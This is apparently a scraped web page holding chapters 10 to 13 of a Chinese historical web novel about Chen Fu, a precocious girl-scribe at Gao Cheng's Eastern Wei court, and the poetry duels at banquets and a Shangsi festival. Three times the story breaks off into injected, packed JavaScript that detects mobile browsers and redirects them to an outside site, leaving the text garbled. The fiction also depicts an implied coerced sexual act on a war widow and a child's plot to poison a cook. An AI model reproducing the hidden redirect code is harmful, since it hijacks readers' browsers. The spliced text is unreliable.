“小稚驹,”声音透着兴味,“我们去会会建康来的。” 陈扶乖巧应声,跟上那道红色。 一出堂外,但见漫天大雪如絮翩跹,无声地覆盖着庭除,将东柏堂的层叠飞檐、雕甍画栋尽数染作一片琉璃世界。 待客的大殿多个四角铜兽皆吐着融融暖气,但为赏雪,并未关门。 除了上回那位左辩,多了两个新面孔,皆是熏衣剃面,傅粉施朱的白面小生,虽披着厚裘仍难掩其肤脆骨柔之态,此刻正望着大雪啧啧称奇。 陈扶垂首敛目,以侍女身份跪侍在高澄席侧。 酒过三巡,一新来的南使含笑环视,曼声提议:“如此大雪,不可无诗佐酒啊。我等远道而来,早闻邺下文采风流,不若效古人联句助兴,亦可见北地之才情,诸位意下如何?” 主客令闻言,从容应道:“贵使此言大善!《诗》云:‘有朋自远方来,不亦乐乎?’今既天降琼瑶以迎佳客,我等自当吟咏抒怀,以雪为媒,以诗会友,诚为雅事。” 他徐徐起身,双手执起面前酒爵,“在下不才,愿抛砖引玉,为诸君起句,共续雪夜诗篇。” 举杯向漫天飞雪致意,吟道: “朔风送雪至,” 此句平实开阔,既点眼前之景,又为后续联句留下充分余地,尽显包容。 魏收即刻接道:“佳客满庭闱。” 既合前句,又将南使尊为佳客,尽显东道主的气度。他这句给定了韵脚,需押韵的皆垂目冥思起来。 那位左辩今日格外谨慎,斟酌吟道:“玉琼散九霄,” 一位广额隆准的北地才子接吟,“万里接清辉。” 气魄顿开,将雪喻为天地清辉,而北疆沃土正是承接之地。 联句依次而续,门外白雪皑皑,席间诗声琅琅。 轮到那位提议联句的南使了,“寒地春信迟,”吟罢他广袖轻拂,施施然饮下。 这是带上机锋了,暗示北地连春天都来得更晚。 下首是另一位翠羽簪冠的南使,立时晃脑笑接,“鸿雁具往飞。” 鸿雁南迁,这都不是暗讽,是明嘲北地乃禽鸟都不愿栖留的荒寒之地。 按照座次,下一位应是东道主高澄。 然而,高澄只是慵懒饮酒,并无联句之意;反是那个垂眸静跪的小女侍,抬眼向两位南人微微一礼。 两人一愣,交换眼神,嘴角控制不住地上扬。他们几乎可以预见,这小女孩只能续上一句狗屁不通的句子,届时,他们便可好好嘲笑一番这北朝的诗文荒漠。 陈扶平静开口,不仅续了自己的,也将高澄的那句代劳吟出, “今朝瑞雪早,明岁无饥馁。” “妙啊!短短十字,既和了前面的‘寒地春信迟’,还应了瑞雪兆丰年的俗谚,已非咏雪,而是心系黎庶的仁者之音呐!” 魏收这番解读,引得一片交口称赞。 带翠羽簪冠的南使冷笑,低声喃道,“不过小儿偶得佳句,有何好赞?” 话音未落,身侧小儿已直直望过来,小脸浮现出孩童被质疑时特有的那种较真神色。 “既然贵使说小女是‘偶得’,不如我们各作一首完整的七言如何?就以《东柏堂咏雪》为题。听闻贵国皇帝陛下很喜七言,想必贵使也得其真传吧?” “七言?”那翠羽南使面色一僵,眼神中闪过一丝慌乱。此时诗坛仍以五言为宗,七言虽因陛下倡导而兴起于南朝,但也并非所有文士都娴熟此道。 曾在辩论中领教过她的那位左辩,瞳孔猛地一缩,心下升起股不好的预感:怎么又是她?! 难不成......她连诗一道也...... 魏收笑问:“莫非尊使竟不擅贵国天子推崇之诗体?”那位广额隆准的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈扶闻言嫣然一笑,“婉转清丽的,也有啊。”也不酝酿,张口便吟: “素影凝阶疑鹤降,清辉披柱似云游。 冰花轻飞漫东柏,玉尘飘洒染画楼。” 四句如卷徐展,正是南朝最推崇的婉约风格。 吟罢,她执壶为高澄斟酒,“只是小女在大将军身边侍奉,看惯了英雄豪杰,便不喜那般纤柔之风了。”她看回那位南使,“莫非建康城的暖风,连贵使的诗胆也熏软了?堂堂七尺男儿,作诗竟以柔婉为佳?” “你——!”南使气得指尖发颤,面红耳赤。 高澄终于忍不住,从胸腔中发出一阵低沉的轻笑。 众人见他快意,纷纷催促南使应战,可那两位本就不善七言,还有两首风格迥异却同样精妙的七言压着,作得好是应该,作得不好便是自取其辱,这...... 主客令见火候已到,举杯圆场:“诸位,诗文助兴,本为怡情,何必较之短长?今日良宴美景,重在联谊。来,共饮此杯!” 南使如蒙大赦,纷纷举杯,顺势下台。 经此一斗,南梁使臣们嚣张气焰被彻底打压下去,席间气氛反倒融洽起来。二人依礼献上带来的锦缎、明珠等南国珍玩后,高澄也慷慨回赠了北地的貂裘、良马。 酒兴愈浓,宴至酣处,高澄与几人一同服食起五石散。 药粉入喉,不过片刻,便觉体内一股热流蒸腾而起,驱散了残存寒意。烛光映照下,他眼尾泛着药力催生的薄红,目光扫过席间——哼,区区南国,还敢以文墨相轻! 宴罢,送走南梁使臣,殿内暖气仿佛骤然黏腻滞重,混着残留的酒气与熏香,无声地缠绕在梁柱之间。 已在大门外候了有一会儿的崔季舒悄步近前,俯身在高澄耳畔低语了几句,脸上带着一种男人间心照不宣的、暧昧的笑意。 高澄漫不经心地抬眼,目光越过崔季舒的肩头,落在殿外廊下。风雪未歇,一身着素衣的妇人正垂首立在昏暗处,在寒风中瑟缩。 他招了招手。 那妇人低着头,步履微颤地挪近,跪礼。她身段丰腴,即使在厚重冬衣下也能窥见曲线,容颜俊俏,只是眉宇间凝着一丝哀戚,像被雨打湿的海棠,反倒更添风韵。 “你夫君是战死的?”高澄的声音带着酒后的沙哑。 妇人头垂得更低,“回世子,是……是在河桥……” 她话未说完,高澄已捏住她下巴,迫她抬起头来。那动作算不上粗暴,但也绝不温柔,他微微眯眼,端详她的脸,如同在评估一匹绸缎的成色。 他觉得还行。 “既是为国而死,我怎会不管你?”他笑了笑,话语里的‘照顾’与脸上的神色截然相反。 松开手,转而朝侍立一旁的苍头奴示意,将陈扶带下去。 跨过门槛时,余光向里一瞥,高澄正解着腰间蹀躞带,深衣领口随之松敞,露出一段线条凌厉的锁骨。殿门在她身后缓缓合拢,隔绝了内里即将发生的一切。 小女史的身影消失在廊庑尽头约莫两刻后,陈元康踏雪而来。 守在门口的亲兵对他摇了摇头,无声地使了个眼色。陈元康立时会意,在阶前驻足。 雪花簌簌落下,殿内并无太大声响,只有一些衣料摩擦的细微窸窣,偶尔夹杂着一两声男人从喉骨深处溢出的吸气声,以及一种被死死闷住的、分辨不清是痛苦还是别的什么的呜咽。 过了会儿,里面传来哑声的命令。 “咽了。” 殿门被崔季舒从里拉开。高澄正慢条斯理地系着腰带。一个素衣妇人跪伏在地上,头深深埋着,肩膀难以自抑地微微颤抖,不住擦着嘴角。 高澄脸上没什么表情,目光掠过地上的人,又扫过案头南梁使臣刚刚进献的、色泽艳丽夺目的吴地丝绸,随手扯过几匹丢到妇人身边。 与候在门外的陈元康一同向内堂走去。 路上,高澄告诉陈元康:“稚驹晚膳未曾用好,方才宴席她是酒侍,未有食案。让她在内堂用些再回吧。” “岂敢劳烦世子这般为她挂心,这时辰家中正有饭食……” 两人步入内堂时,陈扶已伏在案上睡着了,小身子蜷着,手里还捏着吃了半块的截饼。案几一角,整齐放着她书写的《值日记略》,上用娟秀小字记录着每日经手了哪些书册文书。 高澄走到案前,垂眸看着那圆鼓鼓的侧颜,从小手中抽走了那半块饼,放入自己口中吃了。 随即俯身,抄过她胳膊一提,将睡得温软的小人儿托抱起来。小脑袋一歪,靠在了他肩头。高澄调整了一下抱姿,同陈元康向外走去。 11.第11章 李氏跪坐在樟木衣箱旁,将一件件冬衣叠好塞进,眉头拧得死紧。 “带这许多作甚?” “怎的多了?回来还不知啥时候呢!自打你跟了大王,这家里过年人就没全过!早先跟着高将军时多好呀,逢年过节总能在家待两天。哎,可惜高将军……”* “少说两句吧!”陈元康把箱子‘啪’地合上,“若非跟了大王,焉有你今日富贵?在司徒府当记室时,冬日连炭火都要算计。” 帘子一响,是陈扶进来了。 李氏拉过来转转身子、摸摸袖口:“今这么冷,你里头穿得啥?” 净瓶忙搭话:“大娘子放心!奴婢给女郎套了两层丝绵袄呢,就是大娘子给絮得那两件。刚女郎还说,比狐裘都暖和!” 待阿母松了手,陈扶走近陈元康,大礼拜了拜。 “儿今日须往东柏堂当值,不能亲送阿耶了。滏口陉山路崎岖,又值风雪载途,万望阿耶一路珍重。”* 高澄在邺主内政,高欢在晋阳建置的霸府,则是高家的军事中心,他在秀容郡等多地设的侨州军府,也不受魏廷管辖,是直属霸府的。 年底了,各侨州府长官皆要去霸府会见,正月也有‘军宴’之俗,高欢需与将士们聚饮,须回晋阳;阿耶作为功曹,自然也跟着去。 “阿耶走惯了,无妨。”陈元康摩挲她肩膀,“好孩子,你虽只是侍奉大将军笔墨,然东柏堂的文书奏章皆涉机要,千万谨言慎行,凡事多加思量。” 李氏忽一拍腿,“我就说我忘了啥。”从案几上拿过一请柬,“大将军府又送帖子来了,叫你去陪高二郎玩呢。” “孩儿顾不上,叫家里的门客写个回帖送去,说明是公务之因。” 都做了东柏堂女史了,也就无需再去将军府了。何况她也确实忙,东柏堂文书堆得山似得,皆是各州郡岁末呈报,年前只怕连休沐都要免了。 “忙些好!忙些好!我儿就是能耐大!才六岁就吃上皇粮了。”李氏朝墙上努努嘴,“你的诏书阿母给裱起来了,邻居亲戚来了谁不仰头念念?谁不夸?” 正墙最显眼处,大喇喇挂着一明黄诏书。 诏曰: 陈氏女扶,雅好诗书,识达今古,早岁称奇。特授御作女史,配东柏堂掌文翰之职,典图籍之务。尔当奉公恪勤,尽心辅弼,参赞帷幄,以彰忠诚。 大魏兴和三年冬十二月敕 北魏女官本是孝文帝为皇后而设的,职责是辅助皇后治理后宫。女史是中级女官,如今皇权旁落,才有了她这特设女史。 说是女官,其实就是高级女婢,本不涉前朝政事。但她这特设女史,因伺候的是前朝权臣,便不能算完全不涉了。 “不愧是我生的!”李氏得出结论。 陈元康撇了撇嘴。 辞别出门,雪花正零星飘下,行了几步,陈扶忽又折返,探进半个身子问:“阿耶可向丞相提了,让高孝瑜回邺城陪阿珩?” “提过了。大王说明年朝邺时,带孝瑜同来。” 出府门,主仆二人登上自家牛车,厚重车帘垂下。 陈扶看向净瓶,“知道怎么做么?” “只说‘我家女郎念着你那莼羹滋味,奴特来学学,’要学得慢些,多观察那兰京几日。最后一日再以感谢之名,将‘茶叶’送他。” “送的时候怎么说?” “自是说得贵重些,说是郎主得的赏赐,寻常人见都见不着的仙茗……” “贵重就一定不会分享么?若他是个慷慨之人呢?” 净瓶一愣,显然没料到这层,但很快便眼睛一亮,“那便不说贵重,只说……是奴婢感念他指点的心意,单为他备下的。‘这茶奴只盼着阿京郎君一人用呢,若是分给了旁人……奴心里是要难过的。’” 她说着,脸上露出女儿家的娇嗔,还扭了扭。 “好童儿。”陈扶唇角勾了勾,闭目靠回车壁。 因着女史的职司,她这一个多月来几乎都埋首于文牍之间,活动范围限于内堂与宴厅,并无正当理由踏入后厨。也只有在宴会传菜、众人往来之际,远远见过那兰京几次。 若就贸然上前,在众目睽睽之下将东西递过去,不仅突兀怪异,引人疑窦,更无法知晓他是否会用。 必须确保他会用,而且是独用——会死人的东西,半分儿戏不得。 东柏堂前早有苍头奴等候。 净瓶一下车,就将提前备的小罐汾清塞那苍头奴怀里,“劳烦阿兄了。”话像炒豆子似的往外蹦,“阿兄可抱紧了,这雪天滑脚的,摔了就可惜了,我家大人从汾州带回来的,喝一罐少一罐。” 苍头奴讷讷点头,在前引路。 “阿兄瞧着真稳重。不知怎么称呼?日后我家娘子若有东西传送,我也好寻阿兄不是?” “小的叫……刘桃枝。” 走在后方的陈扶脚步一顿。 刘桃枝? 历史名人啊。* “桃枝辟邪,这名字听着就吉利……” 目送二人拐向后院,陈扶去暖阁褪下沾雪的裘衣,仅着杏色夹棉襦裙,进了内堂。 高澄正闲适地斜倚在凭几上,一手支着额角。崔季舒斜坐在侧,两人姿态透着熟稔的随意。 “昨日呢?” “昨日陛下晨起练字,临了钟元常的《宣示表》,写了三遍仍不得其神。午憩后召见了中书侍郎裴士礼,赏了杯茶,谈论约两刻钟,多是前朝旧事,未涉时政,也未起草诏令。” “酉时陛下打碎了一只瓷盏,斥责了宦官,言其手脚粗笨。晚膳用得不多,只略动了动箸,也就韭菜鸡子多吃了两口。戌时初刻,独坐庭中望月约半个时辰,未曾唤人伺候。晚上宿在李嫔那儿,叫了一回水。哦,对了,”从袖中抽出一黄纸,“陛下昨日的‘雅兴’——写了首《咏梅》,臣默背摹了一份。” “孤影无人赏,寂寞满亭台。”高澄冷笑一声,“墙里圈久了,看什么都是孤影,不是愁绪就是寂寞的。”抬眼看到陈扶,眉梢一挑,“该叫他看看稚驹的梅花,傲霜斗雪。” “奴婢都是随主子,女史跟着世子,笔下自有峥嵘气象,陛下连养的雀儿都爱叹气。” 高澄将那牢骚诗稿扔进炭盆,“无趣。” “可不,都不如宫里新进的琵琶乐伎有趣。” “再无病呻吟,也比美人琵琶紧要。回去吧,盯紧了。” 堂内只剩两人,高澄朝陈扶招手。 还没走近,就被他一把拉在了膝头。捏了捏她圆鼓鼓的胳膊,低笑:“堂里这么热,穿这么多作何?活像只刚出笼的曼头。” “有一种冷,叫阿母觉着稚驹冷。” 正说笑间,一道清雅身影缓步走入。来人约三十许,容止俊美,风仪高雅。 高澄松开陈扶,起身迎道,“博士已收拾停当了?”* “回世子,已好了。” “甚好!”高澄握住他手,神色转为郑然,“博士,家弟高演正值成人,心志未定,近善或近恶,都会使其效仿。若家弟能够立德成才,你的官爵禄位当永远仅次于他。” “但倘若有人引其步入歧途,那么罪责,也绝非你一人所能承担。” “世子殷殷重托,王晞必竭尽全力,不敢有负。” 王晞?! “博士稍坐片刻,待午时一同用膳。” “谢世子厚意,只是晞此去不知归时,动身前,还想与家人再进一餐薄饭。” “此乃人之常情,理当如此。那我们便申时广德门见,届时我再为博士饯行。” 待那道清影走远,高澄转向陈扶,盯看了她会儿,方道,“怎么?觉得这个阿公……长得格外好些?” 他方才看得分明。 这小东西,平日里见惯了往来东柏堂的朱紫权贵;便是御宴之上,天子仪仗,她那张小脸上也是淡淡的,不见敬畏,也无好奇,仿佛眼前走过的是人是物,于她都无甚分别。 可方才看那王晞,眼睛可是亮得很,人都走了,还直勾勾看门外呢。 陈扶回过神来,仰面道:“日日得见大将军玉颜,稚驹的眼早已养刁了,安会觉他人貌美?” 高澄轻嗤一声,“那是为何?” “大将军,王晞博士,是前秦丞相王猛的后人吧?”* 高澄“恩”了声。 小小脸庞上,‘幸会得见’的欣然明白划过,如同平静湖面跃起一尾银鱼,生动得扎眼。 “喜欢王猛?” 当然。 她当初便是慕王猛‘功盖诸葛第一人’的贤相之名,才一头扎进这段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“回来得正好!将你新学的那什么南人饭做来!我倒要尝尝是多稀罕的滋味,让我家阿扶总惦记。” 净瓶领命而去,不多时,便端上一盅热气腾腾的脍鱼莼羹。 李氏喝罢只道“也就那样啊”,而陈扶,只看了一眼,一口未动。 用罢膳,李氏抄过案上的钱袋子,先给甘露、净瓶扔了两把,冲外头扬声道:“都来领赏钱了啊!”便风风火火出去给府中仆役发年礼去了。 屋内一时只剩主仆三人。 净瓶凑到陈扶身边,“仙主,那个……” “兰京不喝茶。” “仙主如何得知?!”她反应过来,拍了下嘴,“瞧奴婢问的,仙主自是掐算过了。” 陈扶心下漠然。有了上回不够严谨之教训,她早已将各种可能都思虑过了。 自然也想过,当日大将军府那个干瘦膳奴说的那句“他不喝茶”,或许是事实,而非仅仅索要茶叶的托词。 方才净瓶进门时那欲言又止、带着几分挫败的神情,已说明一切。 净瓶从怀中掏出那个茶罐,“那这……” “烧了吧。” “烧了?”净瓶忍不住抱怨,“他不仅不喝茶,连酒都不沾!每日除了那个灶台,便是望着南边的天发呆,教做菜时也不搭理奴婢。只有一次,望着院里头的枯枝,说了句‘南边的早桃,快开了’……” 甘露眉头蹙起,“不饮不酌的,这该如何除魔?” 陈扶端坐席上,烛光在她稚嫩却过分沉静的脸上投下淡淡阴影。 “急什么。魔高一尺,道高一丈,我自有后法。” 案上一盘寓意吉祥的点心。陈扶拈起一枚,那点心被巧手的孙大娘捏成五瓣,染着淡淡的粉,如云蒸霞蔚。 云蒸霞蔚,叠影重重。 一阵和风拂过,几片桃花瓣掠过高澄那挺如雪岭的鼻梁,润如浸露的薄唇,飘向溶溶春水。 “今年华林园的桃花,倒比去年还盛上几分。” 高澄漫不经心评点了一句,回身示意自己的小尾巴跟上。 身侧的孝静帝笑回:“壬戌年水润燥土,阴阳相济,自然比辛酉年金锐无情,更使木气生发,花开艳丽。”* 12.第12章 上巳三月三,华林园落英纷飞,曲水潺潺。 皇家依历年之俗,在此举办九曲流觞之戏。既为祓禊祛邪、祈求岁安;也作君臣雅集,享这春日闲趣。 桃花缀枝怒放,枝桠间悬着数十金笼,孝静帝玄服龙章,立于枝下,正笑看笼中锦雀探头啄食花瓣。高澄漆纱笼冠,也在逗弄,抬手间广袖流云,闲姿艳逸。 元氏与高氏诸王散立于二人左右,或言或笑。 两大家族本就出了名的好容色,开春褪去厚衣,现下皆是宽衫博带;清风拂过,个个衣袂翩然,环佩叮当,望之若仙。 华林园令近前禀告:“锦席已沿渠铺陈,酒觞与墨砚皆备。只待陛下和大将军之令,便启曲水流觞之宴。” * 天渊池引流而成的青渠,绕叠石蜿蜒九曲,孝静帝于上游落座,高氏元氏众也皆依水散坐。中书舍人和安、黄门侍郎崔季舒等近臣亦列席间;左卫将军斛律光率禁军从旁护卫。 陈扶跪坐下来,刚抬眸望向高澄,对方已侧首俯身,看了眼她小脸,便勾出丝了然笑意,将人一揽,淡淡降真香笼罩而来。 凑她耳边,“今日不必费神。不过是群困在笼中的雀儿,何需折辱?你且自在玩罢。” 说着,从宦官刚奉上的佐酒食盘里,挑了颗饱满腌梅,递至她嘴边。陈扶就手吃了,腮帮子鼓鼓嚼着,眼底却淡似饮水。高澄接住她吐出的果核,轻嗤:“嘴真挑。” 就没她真爱的吃食,兰京的莼羹倒是爱了一月,然也早腻了,此后再没对哪样动过真兴致。 斜对面的高浚半眯着眼,将两人额角相抵、亲昵私语的模样尽收眼底。 这般景象他已见过很多次,还是不能习惯。 阿兄政务之余,喜在东柏堂设宴,与一众文臣勋贵、南来使节共饮,他也常去蹭酒作乐。 陈氏女作为阿兄女史,多半时候只是安静陪膳、侍奉酒水。可一旦有人出言不逊,意图挑衅兄长威严,她便会将机锋或藏于稚语,或隐于诗文,为阿兄挣足脸面。 阿兄案牍劳形时,她不过笑言几句,便能令阿兄眉间舒展。 如此偏爱日盛,他这位素来好洁、等闲不与人亲近的长兄,对他的小女史却是半点不嫌——席间共食一碗,午憩同睡一榻,堂内常坐膝头,外出巡行遇泥泞道路,更是或背或抱;前日驿馆前清谈对辩,忽下了雨,阿兄竟不顾自己,反倒解下披帛将她兜头一裹。 便是对同母的亲阿妹,也未见这般宽纵。 此刻,那陈扶正微微颔首,向奉蜜水的宦官致谢,一张嫩脸在树荫下白似积雪,软中透着寒意,漆黑眼仁古井般深不见底。 洗三礼第一次见,他就直觉此人有鬼。 看似无害,甚至可亲,可一旦与之对立,引经据典、博闻强辩之能,竟不输饱学之博士。更教他惕然的,是她不过七岁年纪,却有种令人莫名信服之感?仿佛万千难题,于她皆可迎刃而解。 这是一孩童所该有之气质? 也曾与阿兄言及这份疑惑,阿兄却嗤笑他少见多怪:“天生敏悟之人,再多读些书,自当听受训诂,一闻便晓,何足怪哉?” 阿兄四五岁即能论政,十岁时单人一马招降名将高敖曹,十四岁入朝辅政文武皆服,与他相比,陈扶确实不过‘寻常颖悟’。 与阿兄这生而岐嶷的天纵之才,当真是说不通! 他索性自行去探,某次宴后拦住她,直截了当:“装乖顺接近我阿兄,究竟意欲何为?” 谁知小滑头既不否也不认,只仰着小脸笑眯眯反问:“原来郡王是这般想我的?”给他弄得更加云里雾里。 念及此,高浚起身走过去,带着他那混不吝的笑,坐在了两人之间。 “还是老位置舒坦啊。”他揽住高澄臂膀,语带嬉赖,“阿兄怎这般盯着我?莫非是嫌阿浚碍事了?难道阿兄有了小女史,便不疼我这个弟弟了?” “坐另一边去。” “还是坐这儿好呀,一会儿酒觞停我面前,憋不出诗来,还能跟陈女史讨两句。” 陈扶笑笑,示意宦官挪了锦垫小案,给永安郡公腾出一席之地。 既无需争风,那便坐哪里都一样。 高澄看她这般干脆让了位子,原本要撵人的话便咽了回去,改口道:“别光想着占便宜,一会儿你替她喝。” “自然,自然。”复指向上游扬声,“嗳!端酒觞了,开始了!” 众人闻声看去,果见华林园令捧起了青陶羽觞,录事官丞也提笔沾墨。 “今值上巳佳节,陛下携大将军、诸王公、卿大夫幸临华林,循曲水而设宴,一则祓除不祥、祈国泰民安,二则共赏春光、各抒胸臆。敢请陛下与大将军示下,启此上巳雅宴!” “准启。” 宦官接过跪于渠边,将酒觞推入水中,指尖轻拨了下,那觞便径直漂向孝静帝案前。 “觞随曲水,诗以咏志,今首觞既先停在了朕面前,那朕便为众卿开题。” 孝静帝举觞吟道: “落英铺玉砌,桃夭映华林。 羽觞绕曲水,群贤书承平。” 席间一片叫好,“陛下好诗!”“上巳雅意便全在诗里了!”“真真应景之作。”杯盏相碰声、赞叹声混着雀鸣,热闹得紧。高澄也举盏与孝静帝遥对,唇角勾出笑意。 一片和谐之中,忽闻那华山王元大器道:“陛下此诗,有高祖当年洛水祓禊的遗风啊,如今大魏承平,正是陛下承先祖之志、爱民之功啊!” 话一出口,满座一静。元氏诸王握着杯盏的手皆顿在了半空,眼神往高澄那边瞟,连呼吸都轻了几分。高家子弟已尽数停杯放盏,目光沉沉地落在元大器身上。 满朝谁不知,如今东魏的安稳,是大丞相高欢浴血沙场,大将军高澄在朝理政镇住的?元大器偏要把功劳全扣在元氏先祖与孝静帝头上,往人高家脸上甩巴掌。 高澄脸上那点淡笑未及敛去,已掠起冷意,眼刀落向那元大器,好似利箭穿身。 陈扶也放了盏,蜜水晃出细波,心里亦起微澜:原来不论局势多么明朗,也还是会有不识时务,不知深浅之人啊。 但此人敢夸,孝静帝却不敢接,冲高澄那厢道:“华山王言过了。朕不过承天命守此社稷,如今国泰民安,诸卿安坐笑谈,皆仰赖大丞相克剪多难,诸将浴血,此乃国由再造之鸿勋巨业也。” 这话妥帖,既捧了高家,又避了锋芒,元氏宗亲悬着的心松了大半。高澄不虞之色也渐散了,指尖重新摩挲起案上的酒盏来,似是对这识趣回答颇为满意。 渠中酒觞载着桃瓣继续漂,停在彭城王元韶案前。 “临春晚妆新,水照影横陈。 落花吹欲散,犹似飘零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541863|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 其姿容绝美,诗风亦婉丽,以美人、落花自比,感慨命运之飘零。 元韶吟罢,众人反应顿分两派。有赞意境绝妙的,也有言‘上巳佳节,本该乐呵,怎说这飘零愁绪?’元韶听着议论,与孝静帝对了一眼,身不由己之哀叹,原是替君吟咏。 酒觞再往下流,竟直直靠向高浚。 他一把抄起酒觞仰头饮尽,抹了把嘴,笑道: “文章挠腹肠,不若弓马良。 愿请千支矢,射穿桃李场!” 席间顿时爆发哄笑!有人拍着案角笑骂“永安郡公太赖!”“雅宴都被他搅成猎场了!” 高澄笑得开怀,侍立的禁卫们也绷不住,双肩止不住地颤抖。 “不行不行!太不雅了!重作一首!”华林园令故意难为他,想让大家再听个乐子。 方才是早想好的,现作一首却难,高浚挠头憋了半天,也没憋出半句,转头瞅陈扶,却见她别开了眼。 不是不帮,是他这风格,陈扶还真模仿不来。 高浚索性抓起案边酒罐,“罢了罢了!某不善此道,愿罚!”言罢仰头便灌。惹得众人又是一阵笑,元韶带起的那丝哀婉之气,倒被他彻底冲散了。 酒觞接着漂,落在襄城郡王元旭面前。 “高歌满华林,东君雨露恩。 莫叹昔年柳,且看今朝春。” 用了‘桓公叹柳’典故,将高氏比作带来生机的‘东君’,‘昔年柳’和‘今朝春’有隐射元氏和高氏之意,但很隐晦。* 元旭拂袖吟罢,高家子弟先声叫好“元显和这诗好啊!东君施雨露,才有这满园春色嘛!”众臣皆和:“可不是嘛!看眼前春光就好,想那旧柳作甚!” 元氏宗亲你看我、我看你,有人扯着笑;有人垂眸盯案,虽没跟着喝彩,倒也没不妥之音。 唯那元大器脸色死沉,满是不屑,重重‘哼’了一声,似是暗骂‘没骨气的玩意’。 第一觞就此流完,仿佛是天意,第二觞首停竟是元大器,他正因元旭的奉承憋了满肚子愤懑,举觞便吟: “莫道花解语,深红总虚名。 武陵渔郎事,犹胜锁凤音!” 别说什么花解语,慰君之言皆是虚,大家担着王爵,又无实权,有甚好乐?便是那武陵桃花源外的打渔郎,都比锁在金笼的皇帝自在! 直斥高氏将元氏架空,元氏却不知为君分忧。 席间霎时落针可闻,连枝间笼雀都没了啁啾。 元氏宗亲们有人缩肩,有人攥盏,皆跪坐难安;高家子弟则尽数敛笑,平阳郡公高淹把玩玉珏的手停了,太原公高洋一直垂着的眼也抬了起来,高浚更是几欲出声。 孝静帝身子僵直,眼神瞟向高澄。 同样瞥见高澄脸色的崔季舒,给那宦官递了个眼色,朝陈扶处努了努嘴。 那宦官心领神会,推酒觞入水时,指尖趁着水流轻轻一推,本该漂向旁人的青瓷觞,竟转了个弯,稳稳停在陈扶案前。 “怎停那小女史面前了?”“这崔季舒是自己接不住么?让一小女娃娃出头?”议论正杂,忽有位元氏宗亲压着声开口,“且看吧。”他曾在东柏堂与陈扶同宴,知晓这小女史的能耐。 高浚已替她捞起了那觞。 目光越过高浚,与高澄凌空一对,了然他意。 13.第13章 陈扶目光移向元大器,和道: “桃源隐世外,渔郎何妄侵? 锁凤既难解,莫如做渊明?” 桃源皆是世外之人,渔郎不会似你这般恶言,既救不了凤凰,不如你也归隐? “和得好!”崔季舒笑道,“不离原诗之典,却反其意而用之,这才是真正的以诗解诗啊!”“华山王,人家小女史问你呢,既这般向往田园,何不解绶归去啊?”“哈哈!”...... 那元大器额头青筋突起,脸瞬间涨成紫红,血色从耳根漫涌至脖颈。 被一总角女童暗嘲没本事,还让他去种地?!这简直比直接抽耳光还要钻心! “绝!真绝!”高浚摇头叹笑,不怪阿兄偏疼她,嘴皮子是真厉害! 他仰头将觞中酒一饮而尽,咂了咂嘴,故意扬声道:“怪哉!这觞酒怎地格外甘甜?莫不是沾了陈女史‘清言妙语’的香气?”那混样子又引得众臣一阵会心低笑。 高澄早知她定能争气,可瞧着元大器那张猪肝似的脸,心中仍是说不出的痛快。 “好!” 这一声不高,却如金石之重。 元氏宗亲见此状,皆暗叹“何苦来哉?”明知高家势大,偏要逞这口舌之快,如今被个小女子以诗文鞭挞,真真是颜面扫地,徒增笑柄。 看元大器胸口剧烈起伏,呼哧作响,孝静帝实在心疼,他岂能不懂阿器是忠君之故?可高澄那声托底的叫好......最终,他默默垂下了眼帘,未曾出声。 酒觞倚着桃瓣,从陈扶案前缓缓漂向下游,停在高阳王元斌案前。 他朝元大器与陈扶处各拱了拱手,笑道: “一发报春知,万朵亦未迟。 同是园中木,何分粉红紫?” 字字都透着缓和意味——高氏元氏同属大魏,本是园中同生的花木,何必分你我、争高下呢? 话音甫落,便响起多声附和。“高阳王这诗好呀!上巳本是佳节,咱们聚在一处玩乐,就该作此等祥和之音,才不辜负春光啊!”“可不是嘛!”...... 孝静帝也点了点头,端盏朝元斌举了举,“善集此诗,甚合朕意!”说罢小酌一口,愁绪也散了大半。 元大器仍僵坐着,面上虽稍褪了些红,却还是拧着脸,显然还没咽下方才被嘲的那口气。 酒觞曲转,五言诗意渐尽,华林园令提议下一觞换作七言之新裁,孝静帝应允。 首停平阳郡公高淹。 “桃李不言蹊自成,深流何羡海波声。 春风若解平生愿,送雨先润魏王城。” 诗面咏得是桃李无言、曲水流深之节操德行,下联又是爱国之音,堪登大雅之作。 但若细品,又有以‘桃李不言’喻高澄不必发声亦可使众趋附之意,难怪他虽是高澄四弟,年方十五,还是庶出,却已入仕尚书省。 众皆赞之,只道“开了这么高的头,他们该作何才好呀!” 下一停江阳王之子元蛮,诗写得很圆滑:“粉瓣轻飘逐水流,绿柳拂面意温柔。不问东风谁做主,只伴笙歌度春秋。” 不管当家做主的是谁,吾且及时行乐也~ ...... 中书舍人和安接起羽觞,冲高澄处堆笑道: “灼灼丹华映高台,风清气紫仰雄才。 愿倾赤霞千重锦,以祈凤池阶前栽。”* 陈扶失笑。 灼灼丹华映的不是皇宫,是‘高台’;风清气紫仰得不是皇恩,是‘雄才’;祈愿栽种之地不是华林,是高澄这中书监的‘凤池’,这奉承高氏之意也过于明显了。 原来高湛的宠臣和士开那么会谄媚,是遗传其父啊。* 酒觞顺着曲水转了半圈,停在了元大器眼前。 